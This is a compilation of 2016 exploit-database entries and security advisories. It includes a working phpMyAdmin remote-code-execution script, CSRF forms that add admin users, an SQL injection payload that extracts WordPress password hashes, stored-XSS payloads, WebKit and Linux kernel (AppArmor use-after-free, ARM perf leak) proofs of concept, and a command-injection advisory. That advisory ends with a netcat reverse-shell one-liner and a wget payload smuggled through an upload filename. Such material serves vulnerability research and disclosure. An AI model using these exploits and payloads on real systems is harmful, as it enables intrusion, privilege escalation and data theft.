Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40197.zip
GIOP capture
Build Information:
Version 2.0.3 (v2.0.3-0-geed34f0 from master-2.0)
Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Compiled (64-bit) with Qt 5.3.2, with WinPcap (4_1_3), with libz 1.2.8, with
GLib 2.42.0, with SMI 0.4.8, with c-ares 1.9.1, with Lua 5.2, with GnuTLS
3.2.15, with Gcrypt 1.6.2, with MIT Kerberos, with GeoIP, with QtMultimedia,
with AirPcap.
Running on 64-bit Windows 8.1, build 9600, with locale C, without WinPcap, with
GnuTLS 3.2.15, with Gcrypt 1.6.2, without AirPcap.
Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz (with SSE4.2), with 16334MB of
physical memory.
Built using Microsoft Visual C++ 12.0 build 40629
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40196.zip
Build Information:
TShark (Wireshark) 2.0.2 (SVN Rev Unknown from unknown)
Copyright 1998-2016 Gerald Combs <gerald@wireshark.org> and contributors.
License GPLv2+: GNU GPL version 2 or later <http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Compiled (64-bit) with libpcap, with POSIX capabilities (Linux), with libnl 3,
with libz 1.2.8, with GLib 2.48.0, with SMI 0.4.8, with c-ares 1.10.0, with Lua
5.2, with GnuTLS 3.4.10, with Gcrypt 1.6.5, with MIT Kerberos, with GeoIP.
Running on Linux 4.4.0-22-generic, with locale en_GB.UTF-8, with libpcap version
1.7.4, with libz 1.2.8, with GnuTLS 3.4.10, with Gcrypt 1.6.5.
Intel Core Processor (Haswell) (with SSE4.2)
Built using gcc 5.3.1 20160407.
--
Fuzzed PCAP eats large amounts of memory ( >4GB ) with a single UDP packet on tshark 2.0.2 and a recent build from repository
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40195.zip
Sample generated with AFL
Build Information:
TShark 1.12.9 (v1.12.9-0-gfadb421 from (HEAD)
Copyright 1998-2015 Gerald Combs <gerald@wireshark.org> and contributors.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Compiled (64-bit) with GLib 2.48.1, with libpcap, with libz 1.2.8, with POSIX
capabilities (Linux), with libnl 3, without SMI, with c-ares 1.11.0, without
Lua, without Python, with GnuTLS 3.4.13, with Gcrypt 1.7.1, with MIT Kerberos,
with GeoIP.
Running on Linux 4.6.2-1-ARCH, with locale en_US.utf8, with libpcap version
1.7.4, with libz 1.2.8.
Intel(R) Core(TM) i5-2520M CPU @ 2.50GHz
Built using clang 4.2.1 Compatible Clang 3.8.0 (tags/RELEASE_380/final).
--
This issue was uncovered with AFL (http://lcamtuf.coredump.cx/afl/)
There is a bug in dissect_nds_request located in epan/dissectors/packet-ncp2222.inc.
dissect_nds_request attempts to call ptvcursor_free() near packet-ncp2222.inc:11806 using the variable ptvc that is set to null at the start of dissect_nds_request. Using the attached sample, the only place ptvc could be set (~ncp2222.inc:11618) is never executed and thus ptvc remains a null pointer.
Credit goes to Chris Benedict, Aurelien Delaitre, NIST SAMATE Project, https://samate.nist.gov
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40194.zip
================================================================================================================
Open Upload 0.4.2 Remote Admin Add CSRF Exploit and Changing Normal user permission
================================================================================================================
# Exploit Title : Open Upload 0.4.2 Remote Admin Add CSRF Exploit
# Exploit Author : Vinesh Redkar (@b0rn2pwn)
# Email : vineshredkar89[at]gmail[d0t]com
# Date: 21/07/2016
# Vendor Homepage: http://openupload.sourceforge.net/
# Software Link: https://sourceforge.net/projects/openupload/
# Version: 0.4.2
# Tested on: Windows 10 OS
Open Upload Application is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering).
Once exploited, the attacker can login as the admin using the username and the password he posted in the form.
======================CSRF POC (Adding New user with Admin Privileges)==================================
CSRF PoC Code
<html>
<head>
<title>Remote Admin Add CSRF Exploit</title>
</head>
<H2>Remote Admin Add CSRF Exploit by b0rn2pwn</H2>
<body>
<form action="http://127.0.0.1/openupload/index.php" method="POST">
<input type="hidden" name="action" value="adminusers" />
<input type="hidden" name="step" value="2" />
<input type="hidden" name="adduserlogin" value="attacker" />
<input type="hidden" name="adduserpassword" value="attacker" />
<input type="hidden" name="adduserrepassword" value="attacker" />
<input type="hidden" name="addusername" value="attacker" />
<input type="hidden" name="adduseremail" value="attacker@gmail.com" />
<input type="hidden" name="addusergroup" value="admins" />
<input type="hidden" name="adduserlang" value="en" />
<input type="hidden" name="adduseractive" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
======================CSRF POC (Changing privileges from normal user to administer)==================================
<html>
<head>
<title>Change privilege normal user to administer CSRF Exploit</title>
</head>
<H2>Change privilege normal user to administer CSRF Exploit by b0rn2pwn</H2>
<body>
<form action="http://127.0.0.1/openupload/index.php" method="POST">
<input type="hidden" name="action" value="adminusers" />
<input type="hidden" name="step" value="3" />
<input type="hidden" name="login" value="normal user" />
<input type="hidden" name="edituserpassword" value="" />
<input type="hidden" name="edituserrepassword" value="" />
<input type="hidden" name="editusername" value="normaluser" />
<input type="hidden" name="edituseremail" value="normaluser@gmail.com" />
<input type="hidden" name="editusergroup" value="admins" />
<input type="hidden" name="edituserlang" value="en" />
<input type="hidden" name="edituseractive" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# Exploit Title: [Haliburton LogView Pro v9.7.5]
# Exploit Author: [Karn Ganeshen]
# Download link: [http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe]
# Version: [Current version 9.7.5]
# Tested on: [Windows Vista Ultimate SP2]
#
# Open cgm/tif/tiff/tifh file -> program crash -> SEH overwritten
#
# SEH chain of main thread
# Address SE handler
# 0012D22C kernel32.76B6FEF9
# 0012D8CC 42424242
# 41414141 *** CORRUPT ENTRY ***
#
#!/usr/bin/python
file="evil.cgm"
buffer = "A"*804 + "B"*4
file = open(file, 'w')
file.write(buffer)
file.close()
# +++++
Cross-Site Request Forgery in ALO EasyMail Newsletter WordPress Plugin
Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE ID
OVE-20160724-0021
Abstract
It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.
Tested versions
This issue was successfully tested on ALO EasyMail Newsletter WordPress Plugin version 2.9.2.
Fix
This issue is resolved in ALO EasyMail Newsletter version 2.9.3.
Introduction
ALO EasyMail Newsletter is a plugin for WordPress that allows to write and send newsletters, and to gather and manage the subscribers. It supports internationalization and multilanguage. It was discovered that the ALO EasyMail Newsletter WordPress Plugin is vulnerable to Cross-Site Request Forgery.
Details
A number of actions within ALO EasyMail Newsletter consist of two steps. The 'step one' action is protected against Cross-Site Request Forgery by means of the check_admin_referer() WordPress function.
<?php
/**
* Bulk action: Step #1/2
*/
if ( isset($_REQUEST['doaction_step1']) ) {
check_admin_referer('alo-easymail_subscribers');
However the call to check_admin_referer() has been commented out for all 'step two' actions. Due to this it is possible for an attacker to perform a Cross-Site Request Forgery attack for all the 'step 2' actions.
/**
* Bulk action: Step #2/2
*/
if ( isset($_REQUEST['doaction_step2']) ) {
//if($wp_version >= '2.6.5') check_admin_referer('alo-easymail_subscribers');
Amongst others, this issue can be used to add/import arbitrary subscribers. In order to exploit this issue, the attacker has to lure/force a victim into opening a malicious website/link.
Proof of concept
POST /wp-admin/edit.php?post_type=newsletter&page=alo-easymail%2Fpages%2Falo-easymail-admin-subscribers.php&doaction_step2=true&action=import HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <session cookies>
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------17016644981835490787491067954
Content-Length: 645
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="uploaded_csv"; filename="foo.csv"
Content-Type: text/plain
sumofpwn@securify.n;Summer of Pwnage;en
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="post_type"
newsletter
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="action"
import_step2
-----------------------------17016644981835490787491067954
Content-Disposition: form-data; name="doaction_step2"
Upload CSV file
-----------------------------17016644981835490787491067954--
Stored Cross-Site Scripting vulnerability in WP Live Chat Support WordPress Plugin
Abstract
A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.
Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE ID
OVE-20160724-0010
Tested versions
This issue was successfully tested on WP Live Chat Support WordPress Plugin version 6.2.03.
Fix
This issue is resolved in WP Live Chat Support version 6.2.04.
Introduction
WP Live Chat Support allows chatting with visitors of a WordPress site. A persistent Cross-Site Scripting vulnerability has been discovered in the WP Live Chat Support allowing an attacker to execute actions on behalf of a logged on WordPress user. A stored Cross-Site Scripting vulnerability was found in the WP Live Chat Support WordPress Plugin. This issue can be exploited by an unauthenticated user. It allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.
Details
The vulnerability exists in the file wp-live-chat-support/functions.php (line 1233), which is called in the file wp-live-chat-support/wp-live-chat-support.php (line 602):
wp-live-chat-support/wp-live-chat-support.php:
600 if ($_POST['action'] == "wplc_user_send_offline_message") {
601 if(function_exists('wplc_send_offline_msg')){ wplc_send_offline_msg($_POST['name'], $_POST['email'], $_POST['msg'], $_POST['cid']); }
602 if(function_exists('wplc_store_offline_message')){ wplc_store_offline_message($_POST['name'], $_POST['email'], $_POST['msg']); }
603 do_action("wplc_hook_offline_message",array(
604 "cid"=>$_POST['cid'],
605 "name"=>$_POST['name'],
606 "email"=>$_POST['email'],
607 "url"=>get_site_url(),
608 "msg"=>$_POST['msg']
609 )
610 );
611 }
wp-live-chat-support/functions.php:
1206 function wplc_store_offline_message($name, $email, $message){
1207 global $wpdb;
1208 global $wplc_tblname_offline_msgs;
1209
1210 $wplc_settings = get_option('WPLC_SETTINGS');
1211
1212 if(isset($wplc_settings['wplc_record_ip_address']) && $wplc_settings['wplc_record_ip_address'] == 1){
1213 if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != '') {
1214 $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR'];
1215 } else {
1216 $ip_address = $_SERVER['REMOTE_ADDR'];
1217 }
1218 $offline_ip_address = $ip_address;
1219 } else {
1220 $offline_ip_address = "";
1221 }
1222
1223
1224 $ins_array = array(
1225 'timestamp' => current_time('mysql'),
1226 'name' => $name,
1227 'email' => $email,
1228 'message' => $message,
1229 'ip' => $offline_ip_address,
1230 'user_agent' => $_SERVER['HTTP_USER_AGENT']
1231 );
1232
1233 $rows_affected = $wpdb->insert( $wplc_tblname_offline_msgs, $ins_array );
1234 return;
1235 }
The vulnerability can be exploited using a specially crafted POST request. The victim needs view the WP Live Chat Offline Messages page to trigger the Cross-Site Scripting payload. It should be noted taht the offline message functionality is available even if there is a logged on chat user present.
Proof of concept
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 361
Connection: close
action=wplc_user_send_offline_message&security=8d1fc19e30&cid=1&name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 110, 97, 109, 101, 33, 34, 41, 59));</script>&email=Mail&msg=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 109, 115, 103, 33, 34, 41, 59));</script>
SQL injection vulnerability in Booking Calendar WordPress Plugin
Abstract
An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).
Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE ID
OVE-20160714-0002
Tested versions
These issues were successfully tested on Booking Calendar WordPress Plugin version 6.2.
Fix
This issue is resolved in Booking Calendar version 6.2.1.
Introduction
The Booking Calendar WordPress Plugin is a booking system for online reservation and availability checking service for your site. An SQL injection vulnerability exists in the Booking Calendar WordPress plugin. This vulnerability allows an attacker to view data from the database. The affected parameter is not properly sanitized or protected with an anti-Cross-Site Request Forgery token. Consequently, it can (also be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).
Details
This was discovered by the using the filter by Booking ID field. Because a WordPress user with the 'Editor' role can also use the Booking plugin, Editors can also access the vulnerable parameter. This allows these users to view all data from the database. The vulnerability exists in the wpdev_get_args_from_request_in_bk_listing() function from booking/lib/wpdev-bk-lib.php (line 709).
Proof of concept
The following proof of concept will show the hashed password from the first user.
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking&wh_approved&wh_is_new=1&wh_booking_date=3&view_mode=vm_listing" method="POST">
<input type="hidden" name="wh_booking_id" value="3 AND (SELECT 5283 FROM(SELECT COUNT(*),CONCAT(0x7176626271,(SELECT MID((IFNULL(CAST(user_pass AS CHAR),0x20)),1,54) FROM wordpress.wp_users ORDER BY ID LIMIT 0,1),0x717a787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
<!--
There is a bug in TypedArray.copyWithin that can be used to write to an absolute pointer.
In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncCopyWithin contains the following code:
long length = thisObject->length();
long to = argumentClampedIndexFromStartOrEnd(exec, 0, length);
long from = argumentClampedIndexFromStartOrEnd(exec, 1, length);
long final = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);
if (final < from)
return JSValue::encode(exec->thisValue());
long count = std::min(length - std::max(to, from), final - from);
typename ViewClass::ElementType* array = thisObject->typedVector();
memmove(array + to, array + from, count * thisObject->elementSize);
argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the copyWithin function, which can contain a function that neuters the this array, causing the variable "array" to be null. However, the "to" and "from" variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.
An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.copyWithin is not supported).
-->
<html>
<body>
<script>
function f(){
try{
alert("t");
postMessage("test", "http://127.0.0.1", [q])
alert(a.byteLength);
alert(q.byteLength);
} catch(e){
alert(e.message);
alert(a.byteLength)
alert(q.byteLength);
}
return 0x22345678;
}
alert(Date);
var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);
// alert(q.byteLength);
var t = [];
a.copyWithin(0x12345678, o, 0x32345678);
</script>
</body>
</html>
<!--
There is a bug in TypedArray.fill that can be used to write to an absolute pointer.
In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncFill contains the following code:
unsigned length = thisObject->length();
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 1, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);
if (end < begin)
return JSValue::encode(exec->thisValue());
if (!thisObject->setRangeToValue(exec, begin, end, valueToInsert))
return JSValue::encode(jsUndefined());
argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the fill function, which can contain a function that neuters the this array, causing the pointer used by setRangeToValue to be null. However, the begin and end variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.
An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.fill is not supported).
Note that there are three places that code can be excuted after the neutered check in this function, the begin and end parameter, and the value, which is converted in setRangeToValue. To fix this issue, a check needs to be performed after the value has been converted.
-->
<html>
<body>
<script>
function f(){
try{
alert("t");
postMessage("test", "http://127.0.0.1", [q])
alert(a.byteLength);
alert(q.byteLength);
} catch(e){
alert(e.message);
alert(a.byteLength)
alert(q.byteLength);
}
return 0x12345678;
}
alert(Date);
var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);
// alert(q.byteLength);
var t = [];
try{
a.fill(0x12, o, 0x77777777);
} catch(e){
alert(e.message);
}
</script>
</body>
</html>
perf_event_open() offers to collect various pieces of information when an event occurs, including a user stack backtrace (PERF_SAMPLE_CALLCHAIN). To collect a user stack backtrace, the kernel grabs the userland register state (if the event occured in kernelspace: the userland register state that was recorded on syscall entry), then walks the stackframes by following framepointers.
On ARM, the step from one stackframe to the next one is implemented in arch/arm/kernel/perf_callchain.c as follows:
/*
* Get the return address for a single stackframe and return a pointer to the
* next frame tail.
*/
static struct frame_tail __user *
user_backtrace(struct frame_tail __user *tail,
struct perf_callchain_entry *entry)
{
struct frame_tail buftail;
unsigned long err;
if (!access_ok(VERIFY_READ, tail, sizeof(buftail)))
return NULL;
pagefault_disable();
err = __copy_from_user_inatomic(&buftail, tail, sizeof(buftail));
pagefault_enable();
if (err)
return NULL;
perf_callchain_store(entry, buftail.lr);
/*
* Frame pointers should strictly progress back up the stack
* (towards higher addresses).
*/
if (tail + 1 >= buftail.fp)
return NULL;
return buftail.fp - 1;
}
The access_ok() check is intended to prevent a malicious userland process from abusing the perf_event_open() API to leak kernelspace data. However, access_ok() does not actually check anything in set_fs(KERNEL_DS) sections, and performance events can occur in pretty much any context. Therefore, by causing a performance event to fire while e.g. the splice() syscall is running under KERNEL_DS, an attacker can circumvent this protection.
(The "tail + 1 >= buftail.fp" check has no relevance for an attacker; kernelspace addresses are higher than userspace addresses.)
After circumventing the protection, the attacker can set up a stackframe whose frame pointer points to an arbitrary kernelspace address. The kernel will follow that frame pointer, read the "saved link register" through it and make the result accessible to userspace. Therefore, this vulnerability can be used to read arbitrary kernelspace data.
The attached exploit can be used to leak 4 bytes at an arbitrary address, like this (tested on a Nexus 6, which runs a kernel based on upstream version 3.10, with a userdebug build that allows the shell user to get a root shell using "su"):
shell@shamu:/ $ su
root@shamu:/ # echo 0 > /proc/sys/kernel/kptr_restrict
root@shamu:/ # grep max_lock_depth /proc/kallsyms
c1042dc0 D max_lock_depth
root@shamu:/ # exit
shell@shamu:/ $ cat /proc/sys/kernel/max_lock_depth
1025
shell@shamu:/ $ /data/local/tmp/poc 0xc1042dc0
attempting to leak 0xc1042dc0
fake stackframe: fp=0xbeafd920
data_head is at e8
SUCCESS: 0x00000401
SUCCESS: 0x00000401
shell@shamu:/ $ su
root@shamu:/ # echo 4100 > /proc/sys/kernel/max_lock_depth
root@shamu:/ # exit
shell@shamu:/ $ /data/local/tmp/poc 0xc1042dc0
attempting to leak 0xc1042dc0
fake stackframe: fp=0xbecbd920
data_head is at e8
SUCCESS: 0x00001004
SUCCESS: 0x00001004
(The number behind the "SUCCESS: " message is the leaked value.)
On recent kernels, the issue could be attacked more reliably using software events or tracepoints - however, before commit b3eac026 (first contained in Linux 4.2), there is no implementation of perf_arch_fetch_caller_regs() on ARM, making it impossible to exploit the issue that way.
The arm64 implementation seems to have the same issues as the arm implementation. The x86 code also looks dodgy and has an access_ok() check, but can't be exploited this way because of the valid_user_frame() check that occurs directly after the values have been read through the potentially-kernelspace pointer.
Regarding other architectures (which I haven't looked into in much detail because they seem less important): Interestingly, sparc already has a safe implementation that explicitly uses set_fs(USER_DS) to make access_ok() safe. tile doesn't seem to even make an effort to differentiate between kernelspace and userspace stacks at a first glance. xtensa has some code, but it looks dodgy. metag also has the bad access_ok() check, but does some sanity checking afterwards that makes it harder to attack. The powerpc code looks secure.
I have attached a completely untested patch that should fix the x86, arm and arm64 code.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40182.zip
/*
There's a reference count leak in aa_fs_seq_hash_show that can be used to overflow the reference counter and trigger a kernel use-after-free
static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
{
struct aa_replacedby *r = seq->private;
struct aa_profile *profile = aa_get_profile_rcu(&r->profile); // <--- takes a reference on profile
unsigned int i, size = aa_hash_size();
if (profile->hash) {
for (i = 0; i < size; i++)
seq_printf(seq, "%.2x", profile->hash[i]);
seq_puts(seq, "\n");
}
return 0;
} // <-- no reference dropped
See attached for a PoC that triggers a use-after-free on an aa_label object on Ubuntu 15.10 with the latest 4.2.0.35 kernel; the Ubuntu kernel appears to use an older version of AppArmor prior to some refactoring, but the same issue is present.
static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
{
struct aa_replacedby *r = seq->private;
struct aa_label *label = aa_get_label_rcu(&r->label); // <--- takes a reference on label
struct aa_profile *profile = labels_profile(label);
unsigned int i, size = aa_hash_size();
if (profile->hash) {
for (i = 0; i < size; i++)
seq_printf(seq, "%.2x", profile->hash[i]);
seq_puts(seq, "\n");
}
return 0;
} // <--- no reference dropped
I noticed in reproducing this issue that it appears that there has been a patch applied to the very latest Ubuntu kernel shipped in 16.04 that fixes this that hasn't been upstreamed or backported.
The fix is just to correctly drop the acquired reference.
index ad4fa49..798d492 100644
--- a/security/apparmor/apparmorfs.c
+++ b/security/apparmor/apparmorfs.c
@@ -331,6 +331,7 @@ static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
seq_printf(seq, "%.2x", profile->hash[i]);
seq_puts(seq, "\n");
}
+ aa_put_profile(profile);
return 0;
}
*/
#include <unistd.h>
#include <fcntl.h>
#include <keyutils.h>
#include <err.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/apparmor.h>
#define BASE_PATH "/sys/kernel/security/apparmor/policy/profiles/sbin.dhclient.2"
#define HASH_PATH BASE_PATH "/sha1"
void add_references(int hash_fd, int refs_to_add) {
char buf[1];
for (int i = 0; i < refs_to_add; ++i) {
pread(hash_fd, buf, sizeof(buf), 0);
}
}
int main(int argc, char** argv) {
int hash_fd;
int fds[0x100];
pid_t pid;
hash_fd = open(HASH_PATH, O_RDONLY);
if (hash_fd < 0) {
err(-1, "failed to open HASH_PATH");
}
fprintf(stderr, "[*] forking to speed up initial reference count increments\n");
for (int i = 0; i < 0xf; ++i) {
if (!fork()) {
add_references(hash_fd, 0x11111100);
exit(0);
}
}
for (int i = 0; i < 0xf; ++i) {
int status;
wait(&status);
}
fprintf(stderr, "[*] initial reference count increase finished\n");
fprintf(stderr, "[*] entering profile\n");
aa_change_profile("/sbin/dhclient");
pid = fork();
if (pid) {
for (int i = 0; i < 0x100; ++i) {
fds[i] = open("/proc/self/net/arp", O_RDONLY);
}
}
else {
add_references(hash_fd, 0x100);
exit(0);
}
fprintf(stderr, "[*] past the point of no return");
sleep(5);
for (int i = 0; i < 0x100; ++i) {
close(fds[i]);
}
}
Version: TDA 2.6.1062r1
Summary:
The hotfix_upload.cgi file contains a flaw allowing a user to execute commands under the context of the root user.
Details:
The hotfix_upload.cgi file is used to upload files (hot fixes). Below is a sample of the upload function being used:
POST /cgi-bin/hotfix_upload.cgi?sID=hotfix_temp HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://<server IP>/cgi-bin/hotfix_history.cgi
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: multipart/form-data; boundary=—————————7e0823930136
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: <server IP>
Content-Length: 206
Connection: close
Cache-Control: no-cache
Cookie: session_id=
—————————–7e0823930136
Content-Disposition: form-data; name=”ajaxuploader_file”; filename=”test.txt”
Content-Type: text/plain
a
—————————–7e0823930136–
The actual injection takes place in the name of the file being uploaded (ie. filename=”test.txt&id”). By performing the following request, system information is sent back in the response:
http://www.korpritzombie.com/wp-content/uploads/2016/07/1.png
This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) commands are possible.
Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user using this method to retrieve the /etc/passwd file (NOTE: `echo $PATH | cut -c1` will print ‘/‘ to the final command):
http://www.korpritzombie.com/wp-content/uploads/2016/07/2.png
Now the attacker has the ability to create a shell by uploading a file containing the following (where [ip address] is your receiving machine):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f
To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:
test.txt&wget http:`echo $PATH | cut -c1“echo $PATH | cut -c1`[ip]`echo $PATH | cut -c1`shell
